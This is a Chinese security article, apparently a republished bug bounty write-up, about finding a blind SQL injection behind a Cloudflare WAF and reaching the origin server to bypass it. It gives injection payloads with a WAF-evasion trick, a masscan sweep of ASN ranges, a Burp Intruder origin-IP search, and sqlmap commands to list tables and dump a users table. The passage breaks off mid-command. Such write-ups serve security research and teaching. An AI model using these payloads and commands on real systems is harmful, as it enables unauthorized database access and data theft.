绕过WAF:追踪源站IP与SQL注入的艺术
白帽小哥在漏洞挖掘中发现SQL注入漏洞,但被Cloudflare WAF拦截。通过分析DNS记录和使用工具找到源站IP,绕过WAF并成功提取敏感数据作为概念验证。 2025-9-27 10:9:45 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

如果你曾从事漏洞挖掘,你一定深知那种感觉:直觉告诉你潜藏着一个漏洞,但你提交的每一个 Payload 都被 Web 应用程序防火墙(WAF)无情地拦截。这就好比你一次次撞向一堵无形的墙,令人万分沮丧... 国外小哥在一次漏洞挖掘中,发现了一处SQL注入漏洞,但 Cloudflare 的 WAF 却像一座堡垒严密守护着。 小哥花费了数小时试图绕过WAF,尝试了所有已知技巧,虽然部分奏效,但却没有一个足够稳固且可以作为漏洞证明来提交的PoC。 于是小哥决定不再与WAF正面硬刚,而是选择“曲线救国”,找到源站 IP(Origin IP),彻底绕过WAF,确认漏洞,并获取敏感数据作为概念验证(PoC)

在深入探讨之前,了解 DNS(域名系统)、源站 IP 和 ASNs(自治系统号)这些概念会有所帮助。如果你已足够熟悉这些,可以直接[跳到漏洞部分]阅读。

DNS

DNS 是互联网的寻址层。人类使用域名(如example.com),而机器则通过IP地址(IPv4 的142.251.37.238或 IPv6 的2a00:1450:4006:813::200e)进行路由。DNS 将域名映射到 IP 地址,省去了我们记忆数字的麻烦。

DNS 记录

DNS 记录(又称区域文件)是位于权威 DNS 服务器中的指令,它们提供关于域名的信息,包括与该域名关联的 IP 地址以及如何处理对该域名的请求。

  • A 记录– 将域名映射到 IPv4 地址。 示例:example.com → 23.215.0.138
  • AAAA 记录– 将域名映射到 IPv6 地址。 示例:example.com → 2600:1408:ec00:36::1736:7f24
  • CNAME 记录– 将一个域名指向另一个域名。 示例:ryukudz.com → itsryuku.github.io

这为什么对寻找源站 IP 至关重要:现代 Web 应用程序通常部署在 Cloudflare 或 Akamai 等 CDN(内容分发网络)后面。CDN 使用其 Anycast IP 地址响应 DNS 查询,并充当反向代理/WAF,从而隐藏真实的源站 IP。然而,DNS 配置不当可能会泄露这些信息。

自治系统号 (ASN)

ASN 是分配给互联网上一个网络(称为自治系统 (AS))的唯一标识符。 AS 本质上是由单个组织(如公司、云服务提供商或 ISP)控制的 IP 地址集合,它向互联网的其余部分提供统一的路由策略。简而言之,ASN 告诉世界“这些 IP 地址属于同一个实体并由其管理”。 **注意:**有时目标可能托管在云服务提供商(例如 AWS、GCP、Azure)的 IP 空间中,而不是公司自己的 ASN 中,因此不要假设所有目标 IP 都属于该组织的 ASN。 在本文后半段,我们将探讨 ASN 信息如何帮助寻找源站 IP。

源 IP

如今,大多数现代 Web 应用程序都部署在 内容分发网络 (CDN) 之后,例如 Cloudflare、Akamai 等。 CDN 不仅能提高性能,还提供重要的安全层。它的主要功能之一是隐藏托管应用程序的服务器的源站 IP。这可以防止 DDoS(分布式拒绝服务)等直接攻击到达真实的基础设施。 源 IP简单来说就是后端服务器的实际 IP 地址。单独发现它通常不被视为高风险漏洞,也许有一些漏洞悬赏平台会将其定为低危级别 (P4)。 真正的影响在于发现它之后的后续行动,一旦绕过 CDN,你就同时也绕过了它的 Web 应用程序防火墙 (WAF),而这正是使漏洞利用变得异常困难的症结所在。

寻找源 IP

发现源站 IP 的方法有很多,但本文无法涵盖所有方法 。我们将重点介绍一种最常用的技术。如需更深入的了解,可查阅 Intigriti 的博客文章:识别反向代理后面服务器的源 IP。

历史 DNS 记录 [1]

最常见的发现源站 IP 的方法是通过历史 DNS 记录。 DNS 历史记录追踪了域名 DNS 设置随时间的变化,包括过去的 IP 地址。这对于漏洞赏金猎人来说是一个金矿,因为很多时候,即使启用了 CDN,旧的 IP 地址也可能保持不变。 然而,成熟的公司通常会意识到这个技巧。为了应对,他们会实施 IP 轮换,这意味着他们在设置反向代理后会更改源服务器的 IP。这使得历史记录的用处越来越小,但仍然值得我们检查。 要查看历史 DNS 记录,最简单的平台之一是 ViewDNS 。如果 ViewDNS 无法提供你需要的信息,还可以尝试 Censys 或 SecurityTrails 。两者都提供大量的 DNS 数据,而且无需付费订阅——只需注册一个免费试用账户即可。 以下是域名tiktok.com的 DNS 历史数据示例,摘自 ViewDNS.info: 图片tiktok DNS历史记录 注意:这些 IP address 已是过期地址,不再属于 TikTok 的源服务器。此示例仅用于演示目的。 在本文的 SQL 注入案例中,历史 DNS 记录未能提供帮助,因此白帽小哥不得不寻找其它方法来发现源 IP。

通过代理浏览目标网站一段时间后,小哥开始在 Burp 的历史记录中审查有趣的请求,很快他注意到一个 API 调用:

GET /api/videos?topic=1337 HTTP/1.1Host: www.target.com

响应返回了一个包含topic参数中提供的 ID 信息的数组,那么该请求是否正在从 SQL 数据库中查询数据? 为了验证这一点,小哥注入了一个单引号 ('):

GET /api/videos?topic=1337%27 HTTP/1.1Host: www.target.com

服务器响应:

HTTP/2 500 Internal Server Error

看起来很有希望,尝试再添加一个引号 (''):

GET /api/videos?topic=1337%27%27 HTTP/1.1Host: www.target.com

这次的响应是:

HTTP/1.1 200 OK

SQL 注入的可能性正在提高,单引号很可能破坏了查询语法,而再添加一个引号则完成了字符串并恢复了有效的语法。

PayloadResponse
/api/videos?topic=1337'+AND'1'=1--Topic 1337 数据已返回
/api/videos?topic=1337'+AND'1'=2--未返回任何结果
`/api/videos?topic=13'
/api/videos?topic=1337'+and+length(version())>1--Topic1337 数据已返回
这些信息足以确认该漏洞为基于布尔值的 SQL 盲注(Boolean-based blind SQL injection)
通过指纹识别,发现 DBMS(数据库管理系统)为 PostgreSQL,因为用于字符串连接的 `
小哥思考是否可以使用批量查询来执行pg_sleep()函数。
GET /api/videos?topic=1337%27;SELECT%20pg_sleep(15)--%20- HTTP/1.1Host: www.target.com

然而:

HTTP/1.1 403 Forbidden

图片cloudflare WAF 经典的CF WAF 阻挡界面。

不知不觉到了深夜,小哥已筋疲力尽,小哥尝试了一些已知的WAF绕过技术,但都没起作用。同时他还尝试了几种混淆技术,但同样收效甚微。 最后小哥联系了他的一位朋友 uzundz——圈内称他为SQLi 神医——最终成功绕过WAF。 有兴趣的话,可以看看他关于碎片化 SQL 注入的精彩博客文章。 小哥首先的目标是使用 PostgreSQL 的原生函数current_database()version()来获取数据库名称和版本。api/videos?topic=1337'+and+length(current_database())>1---> 被 WAF 阻断api/videos?topic=1337'+and+length+(current_database())>1---> Topic 1337 数据已返回 然后就是不断猜测长度:api/videos?topic=1337'+and+length+(current_database())=10---> Topic 1337 数据已返回 这意味着current_database()名称有10 个字符api/videos?topic=1337'+and+length+(version())=104---> Topic 1337 数据已返回 接下来的目标是提取这两个函数的输出,为了缩短篇幅,以下将演示数据库名称的提取方法。 首次尝试(被WAF阻止):api/videos?topic=1337'+and+ascii(substring(current_database(),1,1))>32---> 被 WAF 阻断 在函数名和括号之间添加空格后,成功:api/videos?topic=1337'+and+ascii+(substring+(current_database(),1,1))>32---> Topic 1337 数据已返回 继续猜测 ASCII 码:api/videos?topic=1337'+and+ascii+(substring+(current_database(),1,1))=102---> Topic 1337 数据已返回 这意味着第一个字符是f。 后续字符:api/videos?topic=1337'+and+ascii+(substring+(current_database(),2,1))=108---> 第二个字符是l... ...api/videos?topic=1337'+and+ascii+(substring+(current_database(),10,1))=110---> 最后一个字符是n最终得到数据库名称:fl**_****n同样对version()函数做类似操作: 图片通常这足以作为 PoC 来提交漏洞报告,30 分钟内小哥收到了第一封回复。 然而,经过一番沟通,项目方要求小哥提供更多细节,称最初的报告不够充分。 图片收到回复 于是小哥决定从数据库中导出敏感信息——为了不受任何限制,源 IP的寻找之旅便开始了。 首先尝试调用inet_server_addr()函数,很不幸,这种方法没有奏效。

inet_server_addr用于返回服务器接受当前连接的 IP 地址。 接下来,小哥访问了 Hurricane Electric BGP Toolkit 。这是一个在线工具套件,提供详细的互联网路由信息,允许用户查看和分析来自公共来源的 BGP 数据,以了解网络配置。 图片Hurricane BGP 以特斯拉(Tesla)为例,搜索 Tesla Inc 会找到与其网络关联的 IP 范围。 图片Tesla Inc 搜索结果 后面我们将把特斯拉作为我们的演示目标。 一旦获得了这些 IP 范围,就可以在 Linux 机器上使用了 asnmap 工具,通过它们的 ASN 来映射网络。 图片使用 asnmap 映射 ASN 然后使用 masscan 扫描了该范围,以识别存活主机。

sudo masscan -iL ranges.txt -p1-65535 --exclude 255.255.255.255 --rate 100000 --output-format json --output-filename scan-results.json

接下来过滤结果:

cat scan-results.json | sed -e '/^\\[/d' -e '/^\\]/d' -e 's/,$//' | jq -r '[.ip, .ports[0].port] | @tsv' | sed 's/\\t/:/' | sort -u > alive-hosts

顺利得到一份存活主机列表: 图片存活主机 接下来,小哥启动 Burp Suite,然后将请求发送到 Intruder。将Host头保持为www.target.com,并将域名参数设置为 payload 位置,然后加载 IP 地址列表,进行模糊测试。 图片Burp Intruder 配置 几分钟后,源 IP 结果显示——一个200 OK状态码,返回了与之前完全相同的响应,直接使用这个 IP 测试 API 端点,响应一模一样! 此时,sqlmap 便可以轻松接手后续工作了。 首先,使用sqlmap来枚举数据库:

python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' -p topic --dbms=PostgreSQL --dbs --technique=B --level=5 --risk 3 --no-cast --threads 10

附注:上述 IP 属于特斯拉,如前所述,仅用于演示目的。 然后是列出它的表。

python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' -p topic --dbms=PostgreSQL -D redacted --technique=B --level=5 --risk 3 --threads 10
Database: redacted[8 tables]+--------------------------+| log                      || types                    || users                    || archive                  || asset                    || flow                     || metrics                  || rule                     |+--------------------------+

users表看起来最敏感,dump导出它。

python3 sqlmap.py -u 'https://149.106.193.134/api/videos?topic=1815' --host=www.target.com --headers='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;

文章来源: https://www.freebuf.com/articles/web/450803.html
如有侵权请联系:admin#unsafe.sh